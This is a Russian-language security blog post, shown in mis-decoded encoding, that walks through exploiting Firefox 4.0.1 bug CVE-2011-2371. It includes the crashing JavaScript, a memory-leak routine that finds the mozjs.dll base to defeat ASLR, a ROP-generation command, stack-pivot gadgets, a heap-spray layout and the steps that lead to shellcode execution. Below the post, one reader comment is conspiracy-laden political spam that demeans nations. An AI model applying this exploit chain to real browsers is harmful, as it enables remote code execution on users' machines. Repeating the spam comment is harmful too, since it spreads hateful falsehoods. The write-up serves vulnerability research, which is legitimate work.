30.03.2012

»спользование у€звимости CVE-2011-2371 (в функции FF reduceRight) с обходом механизма ASLR

image

¬ этом посте на примере Firefox 4.0.1/Windows 7 € покажу, как использовать у€звимость дл€ получени€ адреса image base одного из модулей FirefoxТa и обхода механизма ASLR  без каких-либо дополнительных средств.

јвтор: Paul

”€звимость CVE-2011-2371 (обнаруженна€  рисом –ольфом (Chris Rohlf) и яном »вницким (Yan Ivnitskiy) €вл€етс€ багом в Firefox версий <= 4.0.1. ќсобенность бага заключаетс€ в том, что он позвол€ет одновременно выполнить произвольный код и слить информацию.   несчастью, все известные эксплойты, нацеленные на эту у€звимость, не принимают во внимание механизм ASLR.

¬ данном посте на примере Firefox 4.0.1/Windows 7 € покажу, как использовать у€звимость дл€ получени€ адреса image base одного из модулей Firefox’a и обхода механизма ASLR без каких-либо дополнительных средств.

ќписание бага

»сходный отчет об ошибке и ее подробное описание можно найти здесь. „тобы не т€нуть резину, привожу ниже код, который вызывает эту ошибку:

xyz = new Array;
xyz.length = 0x80100000;

a = function foo(prev, current, index, array) {
current[0] = 0x41424344;
}

xyz.reduceRight(a,1,2,3);

ѕосле выполнени€ этого кода Firefox падает:

eax=0454f230 ebx=03a63da0 ecx=800fffff edx=01c6f000 esi=0012cd68 edi=0454f208
eip=004f0be1 esp=0012ccd0 ebp=0012cd1c iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
mozjs!JS_FreeArenaPool+0x15e1:
004f0be1 8b14c8 mov edx,dword ptr [eax+ecx*8]
ds:0023:04d4f228=?????

¬ eax содержитс€ указатель на массив “xyz”, а значение ecx равно xyz.length-1. ‘ункци€ reduceRight пробегает все элементы данного массива в обратном пор€дке, поэтому если чтение адреса @004f0be1 не вызывает падени€ программы внутри функции обратного вызова (foo), то интерпретатор JS будет циклически выполн€ть вышеописанный код, каждый раз уменьша€ значение ecx.

¬еличина, хран€ща€с€ по адресу @004f0be1, передаетс€ в foo() в качестве аргумента УсurrentФ. Ёто означает, что мы можем обмануть интерпретатор JS, передав в функцию обратного вызова случайный объект из кучи. «амечу, что мы можем свободно задавать длину массива, и так как значение eax умножаетс€ на 8 (сдвиг на 3 бита влево), то можно получить доступ к пам€ти, наход€щейс€ за границами массива, устанавлива€ нужное значение 29ого бита длины массива. ’итрый ход J.

¬о врем€ выполнени€ reduceRight() интерпретатор ожидает переменных типа jsval_layout:


http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h
274 typedef union jsval_layout
275 {
276 uint64 asBits;
277 struct {
278 union {
279 int32 i32;
280 uint32 u32;
281 JSBool boo;
282 JSString *str;
283 JSObject *obj;
284 void *ptr;
285 JSWhyMagic why;
286 jsuword word;
287 } payload;
288 JSValueTag tag;
289 } s;
290 double asDouble;
291 void *asPtr;
292 } jsval_layout;

Ќам больше всего интересна структура УpayloadФ. ¬озможны следующие значение пол€ УtagФ:


http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h

92 JS_ENUM_HEADER(JSValueType, uint8)
93 {
94 JSVAL_TYPE_DOUBLE = 0x00,
95 JSVAL_TYPE_INT32 = 0x01,
96 JSVAL_TYPE_UNDEFINED = 0x02,
97 JSVAL_TYPE_BOOLEAN = 0x03,
98 JSVAL_TYPE_MAGIC = 0x04,
99 JSVAL_TYPE_STRING = 0x05,
100 JSVAL_TYPE_NULL = 0x06,
101 JSVAL_TYPE_OBJECT = 0x07,
...
119 JS_ENUM_HEADER(JSValueTag, uint32)
120 {
121 JSVAL_TAG_CLEAR = 0xFFFF0000,
122 JSVAL_TAG_INT32 = JSVAL_TAG_CLEAR | JSVAL_TYPE_INT32,
123 JSVAL_TAG_UNDEFINED = JSVAL_TAG_CLEAR | JSVAL_TYPE_UNDEFINED,
124 JSVAL_TAG_STRING = JSVAL_TAG_CLEAR | JSVAL_TYPE_STRING,
125 JSVAL_TAG_BOOLEAN = JSVAL_TAG_CLEAR | JSVAL_TYPE_BOOLEAN,
126 JSVAL_TAG_MAGIC = JSVAL_TAG_CLEAR | JSVAL_TYPE_MAGIC,
127 JSVAL_TAG_NULL = JSVAL_TAG_CLEAR | JSVAL_TYPE_NULL,
128 JSVAL_TAG_OBJECT = JSVAL_TAG_CLEAR | JSVAL_TYPE_OBJECT
129 } JS_ENUM_FOOTER(JSValueTag);

«начит ли это, что мы можем прочитать только первые двойные слова в парах (d1, d2), где d2 = JSVAL_TAG_INT32 или d2 = JSVAL_TYPE_DOUBLE?   счастью дл€ нас, это не так. ¬от как интерпретатор провер€ет, €вл€етс€ ли jsval_layout числом:


http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h

405 static JS_ALWAYS_INLINE JSBool
406 JSVAL_IS_NUMBER_IMPL(jsval_layout l)
407 {
408 JSValueTag tag = l.s.tag;
409 JS_ASSERT(tag != JSVAL_TAG_CLEAR);
410 return (uint32)tag <= (uint32)JSVAL_UPPER_INCL_TAG_OF_NUMBER_SET;

“ак что люба€ пара двойных слов (d1, d2), в которой d2 <= JSVAL_UPPER_INCL_TAG_OF_NUMBER_SET (это равно значению JSVAL_TAG_INT32) воспринимаетс€ как число.

Ќа этом хорошие новости не заканчиваютс€, посмотрите, как распознаютс€ числа с плавающей зап€той:


http://mxr.mozilla.org/mozilla2.0/source/js/src/jsval.h

369 static JS_ALWAYS_INLINE JSBool
370 JSVAL_IS_DOUBLE_IMPL(jsval_layout l)
371 {
372 return (uint32)l.s.tag <= (uint32)JSVAL_TAG_CLEAR;
373 }

Ёто означает, что люба€ пара (d1, d2) , в которой d2 <= 0xffff0000 воспринимаетс€ как число с плавающей зап€той двойной точности. Ёто хороший способ экономии пам€ти, так как числа с плавающей зап€той двойной точности со всеми установленными битами экспоненты и ненулевой мантиссой никогда не будут NaN. ѕоэтому отбрасывание чисел больших 0xffff 0000 0000 0000 0000 в действительности не приводит к проблемам – мы просто исключаем NaN.

ѕолучение адреса image base

ћы знаем, что большинство значений, вз€тых из кучи, функци€ обратного вызова воспринимает как числа с плавающей зап€той, поэтому можно воспользоватьс€ библиотекой типа JSPack, чтобы декодировать эти числа в последовательность байтов.


var leak_func =
function bleh(prev, current, index, array) {
if(typeof current == "number"){
mem.push(current); //decode with JSPack later
}
count += 1;
if(count>=CHUNK_SIZE/8){
throw "lol"; //stop dumping
}
}

«аметьте, что мы провер€ем тип аргумента УcurrentФ. Ёто необходимо делать, так как если jsval_value будет типа OBJECT, то дальнейшие операции с аргументом могут вызвать нежелательное падение программы.

„тобы найти нужный адрес image base библиотеки mozjs.dll (именно в ней содержитс€ реализаци€ функции reduceRight), нужно проверить определенный участок пам€ти. ќсобое внимание стоит обращать на указатели на функции в секции .code и на указатели на структуры данных в секции .data, но как найти нужные указатели? — каждым запуском программы значение этих указателей различно, так как мен€етс€ image base.

»зуча€ дампы пам€ти вручную, € заметил, что всегда существует возможность найти пару указателей (при фиксированных RVA) на секцию .data, которые будут различатьс€ на константу (0x304), поэтому проще всего будет последовательно просканировать пары двойных слов, найти те, которые различаютс€ на 0x304 и, наконец, вычислить image base mozjs.dll (image_base = ptr_va Ц ptr_rva).

’оть этот метод и был найден опытным путем, но срабатывает он в 100% случаев J

«адаем необходимые значени€

ѕредположим, что у нас есть возможность передать сформированный jsval_layout c tag = JSVAL_TYPE_OBJECT в функцию обратного вызова. ¬от что произойдет после выполнени€ Уcurrent[0]=1Ф, если поле Уpayload.ptrФ указывает на область пам€ти, заполненную \x88:


eax=00000001 ebx=00000009 ecx=40000004 edx=00000009 esi=055101b0 edi=88888888
eip=655301a9 esp=0048c2a0 ebp=13801000 iopl=0 ov up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010a06
mozjs!js::mjit::stubs::SetElem$lt;0>+0xf9:
655301a9 8b4764 mov eax,dword ptr [edi+64h] ds:002b:888888ec=????????

0:000> k
ChildEBP RetAddr
0048c308 6543fc4c mozjs!js::mjit::stubs::SetElem<0>+0xf9 [...js\src\methodjit\stubcalls.cpp @ 567]
0048c334 65445d99 mozjs!js::InvokeSessionGuard::invoke+0x13c [...\js\src\jsinterpinlines.h @ 619]
0048c418 65445fa6 mozjs!array_extra+0x3d9 [...\js\src\jsarray.cpp @ 2857]
0048c42c 65485221 mozjs!array_reduceRight+0x16 [...\js\src\jsarray.cpp @ 2932]

ћы забиваем пам€ть \x88 дл€ того, чтобы каждый указатель, вз€тый из этой области пам€ти был равен 0x88888888. “ак как старший бит установлен в 1 (и указатель указывает на пространство пам€ти €дра), то любое разыменовывание приведет к падению программы, о чем нам и сообщит отладчик. «аполнение пам€ти небольшими значени€ми (например 0x0c) поможет избежать падени€

ћы также можем задавать значение edi. ƒавайте посмотри, можно ли этим как-то воспользоватьс€:


0:000> u eip l10
mozjs!js::mjit::stubs::SetElem<0>+0xf9 [...\js\src\methodjit\stubcalls.cpp @ 567]:
655301a9 8b4764 mov eax,dword ptr [edi+64h]
655301ac 85c0 test eax,eax
655301ae 7505 jne mozjs!js::mjit::stubs::SetElem<0>+0x105 (655301b5)
655301b0 b830bb4965 mov eax,offset mozjs!js_SetProperty (6549bb30)
655301b5 8b54241c mov edx,dword ptr [esp+1Ch]
655301b9 6a00 push 0
655301bb 8d4c2424 lea ecx,[esp+24h]
655301bf 51 push ecx
655301c0 53 push ebx
655301c1 55 push ebp
655301c2 52 push edx
655301c3 ffd0 call eax
655301c5 83c414 add esp,14h
655301c8 85c0 test eax,eax

Ёто как раз то, что нам нужно: значение [edi+64h] (edi задан нами) Ц это указатель на функцию по адресу @655301c3.  ак же формируетс€ значение edi?


0:000> u eip-72 l10
mozjs!js::mjit::stubs::SetElem<0>+0x87 [...\js\src\methodjit\stubcalls.cpp @ 552]:
65530137 8b7d04 mov edi,dword ptr [ebp+4]
6553013a 81ffb05f5e65 cmp edi,offset mozjs!js_ArrayClass (655e5fb0)
65530140 8b5c2414 mov ebx,dword ptr [esp+14h]
65530144 7563 jne mozjs!js::mjit::stubs::SetElem<0>+0xf9 (655301a9)

edi=[ebp+4], где ebp равн€етс€ значению пол€ payload.ptr в смеси jsval_layout.

“еперь хорошо видно, как задать значение EIP. Ќужно вызвать функцию setElem (выполнив Уcurrent[0]=1Ф при обратном вызове reduceRight) c tag=JSVAL_TYPE_OBJECT и ptr=PTR_TO_CONTROLLED_MEM, где [CONTROLLED_MEM+4]=NEW_EIP. ѕроще простого J.

“ак как ASLR больше не проблема (мы уже знаем адрес image base mozjs.dll) можно обойти механизм DEP с помощью возвратно-ориентированного программировани€. mona.py без труда позволит сгенерировать ROP-цепочку и выделить участок пам€ти с правами RWX. »з этого участка пам€ти можно выполнить собственный шеллкод, не задумыва€сь о DEP.


!mona rop -m "mozjs" -rva

У-mФ ограничивает поиск только mozjs.dll (так как это единственный модуль, image base которого мы знаем)

У-rvaФ генерирует цепочку в соответствие с image base модул€.

я не хочу приводить здесь результат выполнени€, но mona способна отыскать цепочку с функцией VirtualAlloc, котора€ позвол€ет изменить права на RWX.

≈сть только одна проблема. „тобы использовать эту цепочку, нам нужно контролировать стек, чего во врем€ вызова @655301c3 мы делать не можем.   счастью, мы можем управл€ть регистром EBP, значение которого равно полю layout.ptr в нашем подменном объекте. ѕерва€ мысль, котора€ приходит в голову, это использовать в качестве отправной точки последние строчки функции:


mov esp, ebp
pop ebp
ret

Ќо заметим, что RET вернет управление на адрес, хран€щийс€ в [ebp+4] и поэтому:


65530137 8b7d04 mov edi,dword ptr [ebp+4]

Ёто означает, что адресом возвращени€ должен быть [ebp+4] и он должен указывать на указатель функции, вызываемой в дальнейшем (@655301c3).

Ќам необходимо изменить значение регистра EBP перед копированием его в ESP. ѕринима€ во внимание тот факт, что во врем€ выполнени€ функции SetElem, идентификатор свойства передаетс€ в EBP как 2*id+1 (операци€ Уcurrent[id]=…Ф), можно легко проделать следующий трюк:


// 0x68e7a21c, mozjs.dll
// found with mona.py
ADD EBP,EBX
PUSH DS
POP EDI
POP ESI
POP EBX
MOV ESP,EBP //(1)
POP EBP //(2)
RETN

Ёто сместит значение EBP на заданную нечетную величину. ¬ JS размер Unicode символов составл€ет 2 байта, поэтому лучше выровн€ть EBP на 2. ћы можем изменить смещение ESP, вз€в из стека новое значение EBP (2) и проделав тот же трюк со строки (1).

“огда наш поддельный объект должен выгл€деть следующим образом:

pivot_va Ц адрес вышеописанного кода

new_ebp Ц значение, вз€тое из стека (2) дл€ смещени€ стека на 2

new_esp_ebp Ц адрес (1)

new_ebp2 Ц новое значение EBP после выполнени€ (2) во второй раз

ROP Ц сгенерированна€ цепочка ROP, котора€ измен€ет права доступа к пам€ти

normal shellcode Ц шеллкод окна сообщени€

«аполнение кучи (Spraying)

¬от неплоха€ диаграмма (asciiflow FTW), котора€ показывает, как мы будем размещать (или попытаемс€ разместить) все в пам€ти:

low addresses
+---------------------+
+-------+ ptr | 0xffff0007 | ^
| +---------------------| |
| | | |
| | . | |
| | . | |
| | . | |
| +---------------------| | half1
| +----+ ptr | 0xffff0007 | |
| | +---------------------| |
| | | . | |
| | | . | |
| | | . | |
| | | | v
| | +-----end of half1----+
| | | | ^
| | | | |
| | | | | margin of
| | | . | | error
| | | . | |
| | +---------------------+ v
+--|---> fake object |
| +--^------------------+
| | | . |
| | | . |
+-----+ |
| |
| |
+---------------------+

high addresses

Ќаше заполнение будет состо€ть из двух областей. ѕерва€ будет состо€ть из смесей jsval_layout c tag = 0xffff0007 (JSVAL_TYPE_OBJECT), а ptr указывать на вторую область, забитую поддельными объектами, структура которых описана выше.

≈сли вы запустите PoC эксплойт на Windows XP, вот так (скорее всего) будет выгл€деть куча:

”величим масштаб:

«аметьте, что производитс€ выравнивание на 4  Ѕ. Ёто происходит, потому что юникод-строки хран€тс€ в массиве. ¬ начале массива хран€тс€ метаданные, а сами данные начинаютс€ с адреса @+4 Ѕ. Ќе помешает также напомнить, что в старых верси€ FF имелс€ баг, св€занный с округлением размера выдел€емой пам€ти, и как следствие этого, под объекты выдел€лось слишком много пам€ти (в том числе и под строки), поэтому вместо аккуратно выровненного массива строк мы получаем строки, разделенные участками пам€ти с NULL-байтами (чуть позже € объ€сню, почему это не вызовет проблем).

¬от как будут выгл€деть поддельные объекты из второй области заполнени€:

„етыре NOPа в конце указывают на конец ROP-цепочки.

—обираем все вместе

  • ѕолучить адрес image base mozjs.dll, как описано выше.
  • «аполнить кучу с помощью JS, как описано выше.
  • Ќайти с какого адреса в различных ќ— начинаетс€ заполнение кучи. ¬ различных верси€х эксплойта длина массива в reduceRight должна вычисл€тьс€ по-разному (в зависимости от ќ—).
  • ¬ычислить длину массива (xyz в PoC-эксплойте), так чтобы первое разыменование произошло в середине первой области заполнени€. Ёто дает нам максимально возможный предел погрешности Ц если адрес начала заполнени€ отличаетс€ от ожидаемого менее чем на size/2, это не должно никак повли€ть на работу нашего эксплойта.
  • ¬ызвать баг.
  • ¬нутри функции обратного вызова JS, спровоцировать выполнение SetElem (Уcurrent[4]=1Ф). ¬ случае исключени€ JS (TypeError: current is undefined) изменить длину массива и продолжить. Ёти исключени€ вызваны NULL-промежутками между строками. ѕопадание в эти промежутки не смертельно, потому что интерпретатор JS видит их как УнеопределенныеФ значени€, и бросает JS исключение вместо падени€ программы. J
  • ¬от такое милое окошко подтверждает успех J

ќграничени€

¬ реализации PoC-эксплойта (как и в других известных реализаци€х эксплойта этого бага) подразумеваетс€, что куча не засорена другими данными. Ќа практике же все немного не так, потому что чаще всего, когда жертва переходит по ссылке, ведущей на экплойт, браузер уже запущен, и несколько вкладок уже открыто. ¬ этом случае заполнение будет размещатьс€ в пам€ти не последовательно, а с разрывами, что приведет к проблемам (падение программы).

ѕолага€, что PoC Ц это перва€ и единственна€ страница, открыта€ в Firefox, веро€тность успеха (выполнение шеллкода) зависит от времени поиска адреса image base mozjs.dll. „ем дольше это происходит, тем больше мусора скапливаетс€ в куче, что приводит к увеличению УразрывовФ в области заполнени€.

PoC можно найти здесь.

или введите им€

CAPTCHA
—траницы: 1  2  
Anonim
31-03-2012 16:10:09
ѕочему оп€ть не указан автор? Ёто не честно, секлаб )
0 |
Anonim
31-03-2012 16:14:37
—сылка на оригинал - http://gdtr.wordpress.com/2012/02/22/exploiting-cve-2011-2371-without-non-aslr-modules/јвтор - @p_k
0 |
х
03-04-2012 07:39:43
“ак обь€сните - как он обходит ASLR-то?
0 |
J.L.
10-04-2012 14:40:03
вот так обходит "»зуча€ дампы пам€ти вручную, € заметил, что всегда существует возможность найти пару указателей (при фиксированных RVA) на секцию .data, которые будут различатьс€ на константу (0x304), поэтому проще всего будет последовательно просканировать пары двойных слов, найти те, которые различаютс€ на 0x304 и, наконец, вычислить image base mozjs.dll (image_base = ptr_va Ц ptr_rva). ’оть этот метод и был найден опытным путем, но срабатывает он в 100% случаев J" как часто встречаютс€ вообще в программах такие магические комбинации не знаю
0 |
JoshuaLove
28-05-2014 06:55:51
http://images.vfl.ru/ii/1399131715/837377d1/5024981_m.jpg –аньше английские рептилии скальпировали индейцев. ѕотом эти репптилоиды стали называтьс€ американцами. ћного позже они прин€лись за иракцев http://31.media.tumblr.com/4b9ee42ebaa5cb58180a4506605c97d4/tumblr_n508aqZ2mU1tai204o1_1280.jpg » теперь они прин€лись за слав€н, естественно, руками других слав€н. http://37.media.tumblr.com/5c21663ca78f2d73c35b8feaa8dcc36e/tumblr_n509dazHLR1tai204o1_1280.jpg —тавь лайки: Ѕандера - √еть! —кажи нет фашизму на форуме перебежчиков: ѕолитика на RSDN
0 |
—траницы: 1  2